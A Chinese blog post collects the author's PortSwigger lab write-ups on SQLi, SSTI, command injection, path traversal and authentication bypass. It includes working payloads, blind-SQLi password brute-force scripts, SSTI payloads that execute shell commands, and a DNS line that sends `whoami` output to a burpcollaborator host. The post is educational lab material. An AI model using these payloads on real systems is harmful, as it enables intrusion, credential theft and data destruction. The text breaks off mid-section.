抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

之前将PortSwigger的每个Writeup都作为单独的文章,导致博客被这个刷屏😩

现在将这些Writeup做个汇总,包含这几个部分📚:

  • SQLI

  • XSS

  • SSTI

  • 命令注入

  • 目录遍历

  • CORS

  • Authentication

  • 越权

本文所谈及技术只为网络安全人员进行服务器检测或维护参考,仅供学习交流,请勿用于违法用途。

SQLI

想到之前sql注入一直都只是用sqlmap一把梭,🥬🐶手注完全不会(😭别骂了,再骂人都要傻了),所以想打个burp官方的靶场先😋,记录一下📝。

(多图,注意流量,有些图片可能加载不成功)

image-20221109195416814

SQL 注入 (SQLi) 是一种网络安全漏洞,允许攻击者干扰应用程序对其数据库的查询。它通常允许攻击者查看他们通常无法检索的数据。这可能包括属于其他用户的数据,或应用程序本身能够访问的任何其他数据。在许多情况下,攻击者可以修改或删除这些数据,从而导致应用程序的内容或行为发生持续变化。在某些情况下,攻击者可以升级 SQL 注入攻击以破坏底层服务器或其他后端基础架构,或执行拒绝服务攻击。


WHERE子句中的SQL注入漏洞允许检索隐藏数据

草🌿,做完了还不能再次访问靶场复现的,会被直接重定向到 https://portswigger.net ,直接丢个payload吧

补充:这里我们了解一下如何使用注释截断🚫查询并删除原始查询中您输入之后的部分

数据库 语句
甲骨文 –comment
微软 –comment
/*comment*/
PostgreSQL –comment
/*comment*/
MySQL #comment
-- comment [注意双破折号后的空格]
/*comment*/

image-20221109211420823

payload:

/filter?category=Gifts' or 1=1--

允许绕过登录的SQL注入漏洞

用户进行用户名和密码验证时,网站需要查询数据库。查询数据库就是执行类似于这样的SQL语句SELECT * FROM admin WHERE Username= 'username' AND Password= 'password',由于网站后台在进行数据库查询的时候没有对单引号进行过滤,当输入用户名和万能密码' or 1='1(也可以使用上一题的' or 1=1--)时,执行的SQL语句为SELECT * FROM admin WHERE Username= 'username' or 1='1' AND Password= 'password' or 1='1',我们可以发现这个逻辑运算结果恒为TRUE。SQL语句的查询结果为TRUE,就意味着认证成功,也可以登录到系统中。

点击打开My account,进入登录界面

image-20221109212705321

尝试使用万能密码' or 1='1登录

image-20221109213452475

成功登录到administrator

image-20221109213616285

payload:

admin' or 1='1

UNION攻击查询返回的列数

执行SQL注入UNION攻击时,有两种有效的方法来确定从原始查询返回多少列。

  • 第一种方法涉及注入一系列ORDER BY子句,并递增指定的列索引,直到发生错误❌为止。

    ' ORDER BY 1-- 
    ' ORDER BY 2-- 
    ' ORDER BY 3-- 

    这一系列有效负载修改了原始查询,以按照结果集中的不同列对结果进行排序。order by子句中的列可以通过其索引指定,因此您不需要知道任何列的名称。当指定的列索引超过结果集中实际列的数量时,数据库返回一个错误,例如:

    The ORDER BY position number 3 is out of range of the number of items in the select list.

    应用程序可能在其HTTP响应中实际返回数据库错误,或者它可能返回一个通用错误,或者只是不返回任何结果。如果您可以检测到应用程序响应中的一些差异,您就可以推断出查询返回了多少列。

    例如:假设注入点是原始查询的WHERE子句中带引号的字符串,则可以提交order by 1语句的意思是根据第一个字段排序,比如我的USER表有四个字段:

    username nickname password identity
    sake sake f4k3P@Ssw0rd admin
    visitor visitor 123456 visitor

    order by 1效果等同于order by username,而如果order by 5就会报错,因为超过了最大列数4。

  • 第二种方法涉及提交一系列UNION SELECT有效负载,指定不同数量的空值:

    ' UNION SELECT NULL-- 
    ' UNION SELECT NULL,NULL-- 
    ' UNION SELECT NULL,NULL,NULL-- 

    如果null的数目与列的数目不匹配,则数据库返回一个错误,例如:

    All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.

    使用UNION,INTERSECT或EXCEPT运算符组合的所有查询在其目标列表中必须具有相等数量的表达式。同样,应用程序实际上可能返回此错误消息,或者可能仅返回一般错误或没有结果。当空数与列数匹配时,数据库将在结果集中返回另一行,其中每一列均包含空值。对产生的HTTP响应的影响取决于应用程序的代码。

    需要注意的是:

    • 使用NULL作为UNION SELECT注入查询返回值的原因是每列中的数据类型必须在原始查询和注入查询之间兼容。由于NULL可以转换为每种常用的数据类型,因此使用NULL可以最大限度地提高在列计数正确时成功的机会。
    • 用来注释的 双破折号-- 可以注释掉注入点之后的原始查询的其余部分。但在MySQL上,双破折号序列后面必须跟一个空格,或者直接使用 井号# 来进行注释。

使用第二种方法,当指定一个和两个空值时报错

image-20221110161852585

当指定三个空值时没有报错,成功解决Lab

image-20221110161959250

payload:

/filter?category=Gifts' UNION SELECT NULL,NULL,NULL--

UNION攻击查找包含文本的列

任务是让数据库检索并取回字符串'kTe3Gu',类似于上题,我们使用UNION SELECT提交有效负载,再指定某一字段为'kTe3Gu'

image-20221110163329744

先使用上一题的方法判断列数,这里略去,经判断为列数为3。然后先指定第一个字段为'kTe3Gu',显示报错

image-20221110164015098

尝试指定第二个字段为'kTe3Gu',没有报错,成功解决Lab

image-20221110164235270

payload:

/filter?category=Pets' UNION SELECT NULL,'kTe3Gu',NULL--

UNION攻击从其他表中检索数据

任务:该数据库包含一个不同的表,称为 users, 列称为 usernamepassword。通过UNION攻击,检索所有用户名和密码,并使用该信息以 administrator用户。

先用上上题的方法判断列数,这里略去,经检验列数为2。然后用上一题的方法查找包含文本的列,经检验两列都包含文本。然后使用'UNION SELECT username,password FROM users--users里检索所有usernamepassword,我们可以看到administrator的用户名和密码都被返还了

image-20221111121905642

我们尝试使用administrator的账号登录,成功以管理员身份登录

image-20221111122210482

image-20221111122246286

payload:

/filter?category=Gifts'UNION SELECT username,password FROM users-- 

UNION 攻击在单个列中检索多个值

任务是将同一列的usernamepassword一起输出,确定administrator对应的密码是什么。

我们首先要了解一下SQL字符串连接的方法:

数据库 语句
甲骨文 ‘foo’||‘bar’
微软 ‘foo’+‘bar’
PostgreSQL ‘foo’||‘bar’
MySQL ‘foo’ ‘bar’[注意两个字符串之间的空格]
CONCAT(‘foo’,‘bar’)

所以我们想到可以用这些语句来将usernamepassword连接

还是老规矩判断列数,列数为2。然后查找包含文本的列,第二列包含文本。然后使用'UNION SELECT NULL,username||password FROM users--users里检索第二列的usernamepassword,我们可以看到administrator的用户名和密码都被返还了,但是两个字符串黏在一起了

image-20221111151636225

我们在中间添加一段字符串来区分usernamepassword

image-20221111151724705

尝试登录administrator,成功以管理员身份登录

image-20221111151946791

payload:

/filter?category=Pets'UNION SELECT NULL,username||'^^^^^^'||password FROM users--

查询Oracle上的数据库类型和版本

任务是使数据库检索以下字符串:‘Oracle Database 11g Express Edition Release 11.2.0.2.0 -64bit Production, PL/SQL Release 11.2.0.2.0-Production, CORE-11.2.0.2.0-Production,,TNS forLinux: Version 11.2.0.2.0 - Production,NLSRTL Version 11.2.0.2.0 - Production’

我们首先要了解如何查询数据库的类型和版本

数据库 语句
甲骨文 SELECT banner FROM v$version
SELECT version FROM v$instance
微软 SELECT @@version
PostgreSQL SELECT version()
MySQL SELECT @@version

前两步同上述Lab,然后利用查询数据库类型和版本的语句进行版本查询,成功解决Lab

image-20221111152956925

payload:

/filter?category=Lifestyle' UNION SELECT BANNER,NULL FROM v$version--

查询MySQL和微软上的数据库类型和版本

这个Lab和上面那题基本一样的做法,唯一要注意的是,不同数据库之间注释的方法不同。

image-20221111155420535

payload:

/filter?category=Gifts'UNION SELECT @@version,NULL-- comment

列出非 Oracle 数据库上的数据库内容

这里我们了解一下如何查询不同数据库的数据库内容(您可以列出数据库中存在的表,以及这些表包含的列):

数据库 语句
甲骨文 SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = ‘TABLE-NAME-HERE’
微软 SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = ‘TABLE-NAME-HERE’
PostgreSQL SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = ‘TABLE-NAME-HERE’
MySQL SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = ‘TABLE-NAME-HERE’

前两步同上述Lab,这里我们使用'UNION SELECT table_name,NULL FROM information_schema.tables-- qq来查询表名,返还了很多表,往下翻找到users的表

image-20221111160613232

再使用'UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name = 'users_etflvr'-- qq查询列名,查看这个表包含的列,看到关键的username和password相关的列

image-20221111161135183

然后使用'UNION SELECT username_wpfvrw,password_lqkvfp FROM users_etflvr-- qq来查询username列和password列的字段内容,发现administrator的用户名和密码

image-20221111162051034

登录administrator成功解决Lab

image-20221111162300011

payload:

/filter?category=Pets'UNION SELECT table_name,NULL FROM information_schema.tables-- qq
/filter?category=Pets'UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name = 'users_etflvr'-- qq
/filter?category=Pets'UNION SELECT username_wpfvrw,password_lqkvfp FROM users_etflvr-- qq

列出Oracle上的数据库内容

这个Lab和上面那题基本一样的做法,这里省去一些步骤

查询到users表image-20221111162901683

查询到username列和password列

image-20221111163210546

查询username和password的字段内容

image-20221111163457415

以administrator登录,成功解决Lab

image-20221111163859550

payload:

/filter?category=Gifts'UNION SELECT table_name,NULL FROM all_tables--
/filter?category=Gifts'UNION SELECT column_name,NULL FROM all_tab_columns WHERE table_name = 'USERS_REILEX'--
/filter?category=Gifts'UNION SELECT USERNAME_IOYYXQ,PASSWORD_LFYLDI FROM USERS_REILEX--

带有条件响应的SQL盲注

刚开始以为像上面Lab一样是GET提交,试了几次发现不对劲(草,怎么100也不报错❓),瞄了一眼官方的题解,原来注入点在cookie💫

image-20221112204213704

在hackbar上操作不是很方便,决定改用burp,直接试着在cookie接个'and'1'='1然后发包,接着再试着'and'1'='2,注意到两者的返回包的长度不同

image-20221112205400706

image-20221112205438159

直接将两个包发到burp的comparer进行比较,发现逻辑运算结果为true的多返还了Welcome back!

image-20221112210453490

这里我们使用' AND (SELECT 'a' FROM users LIMIT 1)='a 这条语句来确认存不存在users这个表,返回为真

image-20221112215832981

我们再用' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a这条语句来判断administrator这个用户的密码长度是否大于1,返回为真

image-20221113171121705

通过一系列手注判断出来,administrator的密码长度为20位(😨傻眼??)

image-20221113171425361

接下来就是逐字符爆破密码了,使用' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a语句来判断第一个字符是不是a,接着我们构建类似的语句来逐字符判断,这里可以使用Intruder,不过我更喜欢用python,这里直接给出一个我写的脚本(单线程非常非常慢,试着写了下多线程,🥬码力不精轻喷🥺)

import requests
import threading
import time
import re

def get_pass(i, char):
    url = 'https://0af2001e046c8c13c012318000590007.web-security-academy.net/filter?category=Pets'
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0'}
    cookies = {
        "TrackingId": f"wIqZZ59H8RfHNV9L' AND (SELECT SUBSTRING(password,{i},1) FROM users WHERE username='administrator')='{char}"}
    res = requests.get(url=url, headers=headers, cookies=cookies)
    regex = re.findall(r"Welcome back!",res.text)
    if len(regex):
        passlist[i-1] = char
        password = ''.join(passlist)
        print(f'The password is {password}')


if __name__ == '__main__':
    chars = 'abcdefghijklmnopqrstuvwxyz0123456789'
    length = 20
    passlist = ['']*length
    start = time.perf_counter()
    for i in range(1, length+1):
        thread_list = []
        for char in chars:
            thread = threading.Thread(target=get_pass, args=[i, char])
            thread.start()
            thread_list.append(thread)
        for t in thread_list:
            t.join(1)
    finish = time.perf_counter()
    print(f"It takes {round(finish - start,2)} s")

image-20221113213111798

获得密码,我们尝试登录administrator,成功解决Lab

image-20221113213148104

带有条件错误的SQL盲注

首先我们先了解一下如何测试单个布尔条件并在条件为真时触发数据库错误:

数据库 语句
甲骨文 SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
微软 SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
PostgreSQL 1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN CAST(1/0 AS INTEGER) ELSE NULL END)
MySQL SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),‘a’)

分析一下表达式:

如果CONDITION为真,则执行to_char(1/0)或者是1/0,因为出现了除0的错误,所以返回报错Internal Server Error;反之,CONDITION为假时,执行NULL返回NULL不报错,页面正常显示内容。

看了眼hint得知Lab使用的是Oracle数据库,直接把上一题的脚本改改就能用,把正则匹配的内容改为Internal Server Error,或者是判断response的状态码。

这里我们构造先一个子查询'|| (SELECT CASE WHEN (length(password)>1) THEN TO_CHAR(1/0) ELSE NULL END FROM users where username='administrator')||'来判断密码长度,以此类推最终判断出来密码长度是20

image-20221115215315673

有了上一Lab的经验,我们直接上脚本,爆破一下密码

import requests
import threading
import time
import re

def get_pass(i, char):
    url = 'https://0a580032035afa26c09136e300d100e0.web-security-academy.net/filter?category=Pets'
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0'}
    cookies = {
        "TrackingId": f"wIqZZ59H8RfHNV9L'||(select case when substr(password,{i},1)='{char}' then to_char(1/0) else NULL end from users where username='administrator')||'"}
    res = requests.get(url=url, headers=headers, cookies=cookies)
    regex = re.findall(r"Internal Server Error",res.text)
    if len(regex):
        passlist[i-1] = char
        password = ''.join(passlist)
        print(f'The password is {password}')


if __name__ == '__main__':
    chars = 'abcdefghijklmnopqrstuvwxyz0123456789'
    length = 20
    passlist = ['']*length
    start = time.perf_counter()
    for i in range(1, length+1):
        thread_list = []
        for char in chars:
            thread = threading.Thread(target=get_pass, args=[i, char])
            thread.start()
            thread_list.append(thread)
        for t in thread_list:
            t.join(3)
    finish = time.perf_counter()
    print(f"It takes {round(finish - start,2)} s")

image-20221120104000722

这里使用intruder也可以得到相同结果
image-20221120105032212

获得密码,尝试登录administrator,成功解决Lab

image-20221120103940765

带有时间延时的SQL注入

任务是造成一个十秒的延时,首先了解一下如何在处理查询时,使数据库出现时间延迟

数据库 语句
甲骨文 dbms_pipe.receive_message((‘a’),10)
微软 WAITFOR DELAY ‘0:0:10’
PostgreSQL SELECT pg_sleep(10)
MySQL SELECT SLEEP(10)

这里我们只需要在注入点插入一个延时语句即可解决lab

image-20221120111356248

image-20221120111406745

payload:

TrackingId=BDiRNvzhMTPO0qtL'||pg_sleep(10)--;

带有时间延迟和信息检索的SQL盲注

OOB盲注

image-20221120115115857

b5hpcwzn3c60fubud2jmosu1bshk59.burpcollaborator.net

image-20221120115418060

image-20221120115235579

TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--

------------------------------

XSS

image-20221120120155457

跨站点脚本(也称为 XSS)是一种网络安全漏洞,允许攻击者破坏用户与易受攻击的应用程序的交互。它允许攻击者规避同源策略,该策略旨在将不同的网站彼此隔离。跨站点脚本漏洞通常允许攻击者伪装成受害用户,执行用户能够执行的任何操作,并访问用户的任何数据。如果受害用户在应用程序中具有特权访问权限,则攻击者可能能够完全控制应用程序的所有功能和数据。

无编码反射型XSS

image-20221120121500672

image-20221120121514302

------------------------------

SSTI

image-20230121195535830

服务端模板注入是指攻击者能够利用模板自身语法将恶意负载注入模板,然后在服务端执行。

模板引擎被设计成通过结合固定模板和可变数据来生成网页。当用户输入直接拼接到模板中,而不是作为数据传入时,可能会发生服务端模板注入攻击。这使得攻击者能够注入任意模板指令来操纵模板引擎,从而能够完全控制服务器。顾名思义,服务端模板注入有效负载是在服务端交付和执行的,这可能使它们比典型的客户端模板注入更危险。

服务端模板注入漏洞会使网站面临各种攻击,具体取决于所讨论的模板引擎以及应用程序如何使用它。在极少数情况下,这些漏洞不会带来真正的安全风险。然而,大多数情况下,服务端模板注入的影响可能是灾难性的。

最严重的情况是,攻击者有可能完成远程代码执行,从而完全控制后端服务器,并利用它对内部基础设施进行其他攻击。

即使在不可能完全执行远程代码的情况下,攻击者通常仍可以使用服务端模板注入作为许多其他攻击的基础,从而可能获得服务器上敏感数据和任意文件的访问权限。

当用户输入直接拼接到模板中而不是作为数据传入时,就会出现服务端模板注入漏洞。

Basic server-side template injection

靶场要求:

由于ERB模板的不安全构造,此实验室容易受到服务器端模板注入的影响。
要解决这个问题,请查看ERB文档,了解如何执行任意代码,然后从Carlos的主目录中删除morale.txt文件。

实验步骤:

随便点击一个商品详细,请求的message可控,且能回显到页面上,目标注入点就在这里

image-20230121201829437

先去官方文档了解一下RUBY的ERB模板,可以看到**<%= Ruby expression – replace with result %>**表示该格式可以内嵌表达式

image-20230121202308832

image-20230121202402896

再查一下RUBY如何执行shell命令,使用exec和system均可,区别是:exec会替换当前进程,system返回执行结果(布尔值)

image-20230121204039682

image-20230121204108869

于是我们在修改message请求内容为<%= system 'ls' %>,查看目录下文件列表image-20230121204729823

接着修改为<%= system 'rm morale.txt' %>,删除moral.txt文件

image-20230121205034621

Basic server-side template injection (code context)

靶场要求:

由于使用Tornado模板的方式不安全,该实验室容易受到服务器端模板注入的影响。要解决这个问题,请查看Tornado文档,了解如何执行任意代码,然后从Carlos的主目录中删除morale.txt文件。
您可以使用以下凭据登录到自己的帐户:wiener:peter

实验步骤:

登录用户,然后抓取提交Preferred name的数据包,发现是通过一个POST请求设置blog-post-author-display字段的参数,取值为:user.nameuser.first_nameuser.nickname

image-20230121212356539

image-20230121212310205

通过阅读Tornado文档中template的用法,我们了解到模板表达式被双花括号包围: {{ python expression }},然后转义并且插入到输出

image-20230121213025258

image-20230121213314589

于是我们将blog-post-author-display=user.name修改为blog-post-author-display=user.name}}{{7*7`,再打开随便一篇文章,在文章评论区评论,将昵称回显出来。发现页面返回了49,确实存在模板注入 ![image-20230121214406213](../image/PortSwigger-SQLI-Writeup/image-20230121214406213.png) 接着我们利用双花括号包围的python表达式构建shell命令(详细见上文提到的[语法参考](https://tornado-zh.readthedocs.io/zh/latest/template.html#id1)),将`blog-post-author-display=user.name`改为`blog-post-author-display=user.name}}{{__import__("os").popen("ls").read()`,再次查看评论区回显 ![image-20230121215425444](../image/PortSwigger-SQLI-Writeup/image-20230121215425444.png) 最后执行删除moral.txt文件的命令(修改为`blog-post-author-display=user.name}}{{__import__("os").popen("rm morale.txt").read()`)就成功解决了Lab ![image-20230121215722468](../image/PortSwigger-SQLI-Writeup/image-20230121215722468.png) ## Server-side template injection using documentation 靶场要求: > 此实验室易受服务器端模板注入的影响。要解决这个问题,请确定模板引擎并使用文档来确定如何执行任意代码,然后从Carlos的主目录中删除morale.txt文件。 > 您可以使用以下凭据登录到自己的帐户:`content-manager:C0nt3ntM4n4g3r` 实验步骤: 登录用户,编辑模板,直接给了模板注入的一个测试页面,还支持预览 ![image-20230121221153611](../image/PortSwigger-SQLI-Writeup/image-20230121221153611.png) 通过查阅freemarker的文档,发现有对[模板的上传安全性](http://freemarker.foofun.cn/app_faq.html#faq_template_uploading_security)进行说明,提到了**虽然new不会实例化不是TemplateModel-s的类,但FreeMarker包含一个TemplateModel类,可用于创建任意Java对象**。 ![image-20230121221028401](../image/PortSwigger-SQLI-Writeup/image-20230121221028401.png) 查阅官方文档对[new函数](http://freemarker.foofun.cn/ref_builtins_expert.html#ref_builtin_new)的描述,我们可以通过**freemarker.template.utility**的**Execute**类来执行shell命令 ![image-20230121221556207](../image/PortSwigger-SQLI-Writeup/image-20230121221556207.png) `<#assign test="freemarker.template.utility.Execute"?new()>${test("ls")}` ![image-20230121222227366](../image/PortSwigger-SQLI-Writeup/image-20230121222227366.png) `<#assign test="freemarker.template.utility.Execute"?new()>${test("ls")}` ![image-20230121222440470](../image/PortSwigger-SQLI-Writeup/image-20230121222440470.png) ## Server-side template injection in an unknown language with a documented exploit 靶场要求: > 此实验室易受服务器端模板注入的影响。要解决实验室问题,请识别模板引擎并在线查找可用于执行任意代码的漏洞,然后从Carlos的主目录中删除morale.txt文件。 实验步骤: 随便点击一个商品详细,请求的message可控,且能回显到页面上,目标注入点就在这里,尝试提交`${{<%[%'"}}%\fuzz测试一下,回显报错显示使用的是handlebars

image-20230121223137509

在网上找到一份POC

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return JSON.stringify(process.env);"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

稍加修改,然后再urlencode之后请求一下就成功删除morale.txt

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

image-20230121224629671

Server-side template injection with information disclosure via user-supplied objects

靶场要求:

由于对象传递到模板中的方式,此实验室容易受到服务器端模板注入的影响。可利用此漏洞访问敏感数据。
要解决实验室问题,请窃取并提交框架的密钥。
您可以使用以下凭据登录到自己的帐户:content-manager:C0nt3ntM4n4g3r

实验步骤:

登录用户,编辑模板,直接给了模板注入的一个测试页面,还支持预览,尝试提交${{<%[%'"}}%\fuzz测试一下,回显报错显示使用的是django

image-20230121225512454

学习Django文档,调用debug内置函数:{% debug %},返回此模板内访问的对象和属性的列表

image-20230121230125056

研究官方文档中关于settings的描述,其中含有的SECRET_KEY属性正是我们要窃取的密钥

image-20230121231014081

直接用{{settings.SECRET_KEY}}读出secret_key的值,提交密钥即可

image-20230121231332991

------------------------------

命令注入

image-20230107220209776

OS命令注入(也称为shell注入)是一种web安全漏洞,允许攻击者在运行应用程序的服务器上执行任意操作系统(OS)命令,通常会完全破坏应用程序及其所有数据。通常,攻击者可以利用OS命令注入漏洞来危害托管基础设施的其他部分,利用信任关系将攻击转移到组织内的其他系统。

简单案例1

目标是获得系统用户名

一些有用的命令

当您已经确定了一个操作系统存在命令注入漏洞,它通常用来执行一些初步命令,以获取有关系统的信息。在Linux和Windows:

目的命令 Linux Windows
当前用户名 whoami whoami
操作系统 uname -a ver
网络配置 ifconfig ipconfig /all
网络的连接 netstat -an netstat -an
正在运行的进程 ps -ef tasklist

注入点在点击Check stock所发数据包中

image-20230107221854254

抓包将storeId=1改为storeId=1|whoami,成功获得当前用户名,解决Lab

image-20230107222019669

基于时间的命令盲注

目标是产生十秒延时

注入点在点击Submit feedback所发数据包中

image-20230107223152334

抓包将email=b%40g.com改为email=b%40g.com||ping -c 10 127.0.0.1||,成功解决Lab

image-20230107225504039

命令注入与输出重定向

重定向输出的注命令一个文件在这个文件夹,然后使用的图片加载URL检索内容的文件。

注入点在点击Submit feedback所发数据包中

image-20230107223152334

抓包将email=b%40g.com改为email=b%40c.com||whoami>/var/www/images/a.txt||,(其中">"是重定向符)

image-20230114201404990

然后打开一张图片把filename请求的文件改为a.txt,成功解决Lab

image-20230114201517130

image-20230114201602470

命令注入与OOB

目标是向Burp Collaborator发出DNS lookup

nslookup命令用于查询DNS的记录查看域名解析是否正常在网络故障的时候用来诊断网络问题

注入点在点击Submit feedback所发数据包中

image-20230107223152334

抓包将email=dasdasd%40qweqwe.com改为email=dasdasd%40qweqwe.com||nslookup+tolzgp9rlzgmp2ssbxhpkawd64cu0j.burpcollaborator.net||,成功解决Lab

image-20230121170906395

image-20230121171029688

命令注入与带外数据泄露

目标是执行whoami命令,并通过DNS查询将输出导出到Burp Collaborator

注入点在点击Submit feedback所发数据包中

image-20230107223152334

抓包将email=b%40c.com改为email=b%40c.com||nslookup+`whoami`.z00sswoz16601lbdkba977578yeo2d.burpcollaborator.net||,成功解决Lab

image-20230121171824854

image-20230121172250187

------------------------------

目录遍历

本文涉及Lab过于简单,篇幅较短

image-20230106203154552

目录遍历(也称为文件路径遍历)是一种网络安全漏洞,允许攻击者读取运行应用程序的服务器上的任意文件。 这可能包括应用程序代码和数据、后端系统的凭据以及敏感的操作系统文件。在某些情况下,攻击者可能能够写入服务器上的任意文件,从而允许他们修改应用程序数据或行为,并最终完全控制服务器。

简单案例1

随便打开一张图片

image-20230106210738994

image-20230106210907926

把请求的文件filename改为../../../etc/passwd

简单案例2

把请求的文件filename改为/etc/passwd(绝对路径)

简单案例3

把请求的文件filename改为....//....//....//etc/passwd(双写绕过)

简单案例4

把请求的文件filename改为..%252f..252f%..%252f..%252fetc%252fpasswd(双url编码)

简单案例5

把请求的文件filename改为/var/www/images/../../../etc/passwd

简单案例6

把请求的文件filename改为../../../etc/passwd%00.png(%00截断)

------------------------------

CORS

image-20230114205315477

跨源资源共享CORS,或通俗地译为跨域资源共享)是一种基于 HTTP 头的机制,该机制通过允许服务器标示除了它自己以外的其它(域、协议或端口),使得浏览器允许这些源访问加载自己的资源。跨源资源共享还通过一种机制来检查服务器是否会允许要发送的真实请求,该机制通过浏览器发起一个到服务器托管的跨源资源的“预检”请求。在预检中,浏览器发送的头中标示有 HTTP 方法和真实请求中会用到的头。

同源策略是一种限制性的跨域规范,它限制了网站与源域之外的资源进行交互的能力。同源策略是多年前定义的,以应对潜在的恶意跨域交互,例如一个网站从另一个网站窃取私人数据。它通常允许一个域向其他域发出请求,但不允许访问响应。

CORS vulnerability with basic origin reflection

题目要求:

该网站具有不安全的CORS配置,因为它信任所有来源。为了解决这个实验,制作一些 JavaScript,使用 CORS 来检索管理员的 API,密钥并将代码上传到您的漏洞利用服务器。当您成功提交管理员的 API 密钥时,实验室就解决了。您可以使用以下凭据登录自己的帐户: wiener:peter

抓包发现请求/accountdetailresponseAccess-Control-Allow-Credentials字段为True

image-20230116135557860

------------------------------

Authentication

image-20230116145328504

身份验证是验证给定用户或客户端身份的过程。换言之,这涉及到确保他们真的是他们声称的那个人。至少在一定程度上,网站暴露给任何通过设计连接到互联网的人。因此,健壮的身份验证机制是有效web安全的一个重要方面。

有三种认证因素,可将不同类型的认证分类为:

  • 您知道的一些信息,例如密码或安全问题的答案。这些有时被称为“知识因素”。
  • 你拥有的东西,也就是像手机或安全令牌这样的物理对象。这些有时被称为“占有因素”。
  • 你正在做的事情,例如,你的生物特征或行为模式。这些有时被称为“内在因素”。

认证机制依赖于一系列技术来验证这些因素中的一个或多个。

Username enumeration via different responses

靶场要求:

这个实验室是脆弱的,以枚举的用户名和密码的暴力攻击。 它有一个帐户,一个可预测的用户名和密码,其中可以找到以下词表:

要解决的实验室,一一列举一个有效的用户名、暴力破解这个用户密码,然后访问他们的帐户的网页。

实验步骤:

进入到登录界面,尝试登录并进行抓包,可以看到显示Invalid username,告诉我们用户名是无效的

image-20230116145952241

image-20230116150138845

于是我们根据Lab提供的用户名和密码使用Intruder进行爆破,设置好字典开始进行爆破

image-20230116150440574

然后在爆破结果处按Length排序,可以看到一个response显示的结果不同,显示的是Incorrect password,这告诉我们用户名是auto,但密码错误

image-20230116150619727

于是我们以同样的方法爆破密码,在爆破结果中我们可以看到:用户名是auto,密码是monitoring

image-20230116150913593

使用爆破得到的用户名和密码,成功登录解决Lab

image-20230116151126737

补充分析:网站对用户名和密码错误采用了不同回显,使得可以逐个字段爆破(如果同回显的话要同时对两个字段进行爆破,payload直接是平方级数量)

2FA simple bypass

靶场要求:

这个实验室的双因素认证可以绕过。您已获得有效的用户名和密码,但无权访问用户的2FA验证码。要解决实验室问题,请访问Carlos的帐户页面。
你的证件:wiener:peter
受害者的证件:carlos:montoya

实验步骤:

登录进提供的用户名,在邮箱服务器查看二重验证码,填入框中

image-20230116152005706

可以注意到填后请求了/my-account这个页面,唯一的认证是cookie而并未携带token等认证,于是我们想到可以直接登录受害者的用户名然后在二重验证处,直接以受害者的cookie请求/my-account即可直接登录成功

image-20230116154940007

补充分析:二重验证码填完后请求的网站只采用cookie进行身份验证

Password reset broken logic

靶场要求:

该实验室的密码重置功能易受攻击。要解决实验室问题,请重置 Carlos 的密码,然后登录并访问他的“我的帐户”页面。

您的凭据: wiener:peter
受害者用户名: carlos

实验步骤:

抓包更改密码重置的数据包为受害者的用户名:
image-20230116160651129

image-20230116160900152

采用受害者的用户名和重置后的密码进行登录,成功登录受害者用户

image-20230116161022526

补充分析:虽然采用了token,但并未进行实质性的验证,导致密码重置的数据包被重放

Username enumeration via subtly different responses

靶场要求:

这个实验室很容易受到用户名枚举和密码暴力攻击。它有一个具有可预测用户名和密码的帐户,可以在以下单词列表中找到:

  • 候选用户名
  • 候选密码

要解决实验室问题,请枚举一个有效的用户名,强制使用该用户的密码,然后访问他们的帐户页面。

实验步骤:

还是抓取登录的数据包,进行用户名爆破,通过Length排序发现数据包长短不一,我们无法进行判断

image-20230116162304406

此时我们采用Grep进行匹配,设置起始字符串<p class=is-warning>,和末尾字符串</p>,匹配中间回显的内容

image-20230116162714537

image-20230116162932834

然后我们以这个匹配规则进行排序,发现第一个的末尾少了个点(.),于是我们将其锁定为可疑数据包

image-20230116162828254

然后我们尝试以apple为用户名进行密码爆破,按Length排序锁定第一个可疑数据包

image-20230116163912344

尝试以用户名apple,密码maggie登录,登录成功

image-20230116164158236

补充分析:

  1. response的长短不一,无法通过简单的Length排序进行判断,而应该使用Grep设置起始字符串和末尾字符串来匹配结果
  2. 本Lab对用户名和密码错误采用了几乎相同的回显,不适用简单的逐个字段爆破

Username enumeration via response timing

靶场要求:

